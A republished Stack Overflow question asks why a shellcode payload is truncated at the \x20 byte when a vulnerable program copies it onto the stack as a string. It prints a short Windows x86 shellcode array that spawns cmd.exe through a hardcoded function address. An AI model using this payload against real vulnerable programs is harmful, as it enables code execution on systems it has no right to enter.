shellcode is truncated by \x20

Posted by marcelo carvalho on Stack Overflow See other posts from Stack Overflow or by marcelo carvalho
Published on 2010-03-18T02:17:44Z Indexed on 2010/03/18 2:31 UTC
Read the original article Hit count: 418

Filed under:

Why is my shellcode is truncated after \x20 opcode, when it is copied by string to stack on a second vulnerable program?

--cmd.exe--
 char shell[]=

"\xc7\x44\x24\x0c\x65\x78\x65\x20" ← only this line is put in stack, though hv a enough space 
"\xc7\x44\x24\x08\x63\x6d\x64\x2e"
"\x31\xc0"
"\x89\x44\x24\x04"
"\x8d\x44\x24\x08"
"\x89\x04\x24"
"\x8d\x05\xad\x23\x86\x7c"
"\xff\xd0";
--end shell--

© Stack Overflow or respective owner

Related posts about winexe